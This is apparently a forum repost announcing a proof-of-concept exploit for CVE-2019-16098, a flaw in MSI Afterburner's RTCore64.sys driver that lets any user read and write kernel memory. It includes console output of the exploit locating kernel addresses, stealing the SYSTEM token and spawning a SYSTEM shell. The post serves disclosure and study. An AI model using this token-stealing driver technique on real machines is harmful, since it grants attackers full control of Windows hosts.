Local privilege escalation PoC exploit for CVE-2019-16098

[Nytro]

CVE-2019-16098

The driver in Micro-Star MSI Afterburner 4.6.2.15658 (aka RTCore64.sys and RTCore32.sys) allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.

For more updates, visit CVE-2019-16098

WARNING: Hardcoded Windows 10 x64 Version 1903 offsets!

Microsoft Windows [Version 10.0.18362.295]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\Barakat\source\repos\CVE-2019-16098>whoami
Barakat

C:\Users\Barakat\source\repos\CVE-2019-16098>out\build\x64-Debug\CVE-2019-16098.exe
[*] Device object handle has been obtained
[*] Ntoskrnl base address: FFFFF80734200000
[*] PsInitialSystemProcess address: FFFFC288A607F300
[*] System process token: FFFF9703A9E061B0
[*] Current process address: FFFFC288B7959400
[*] Current process token: FFFF9703B9D785F0
[*] Stealing System process token ...
[*] Spawning new shell ...
Microsoft Windows [Version 10.0.18362.295]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\Barakat\source\repos\CVE-2019-16098>whoami
SYSTEM

C:\Users\Barakat\source\repos\CVE-2019-16098>

 

Sursa: https://github.com/Barakat/CVE-2019-16098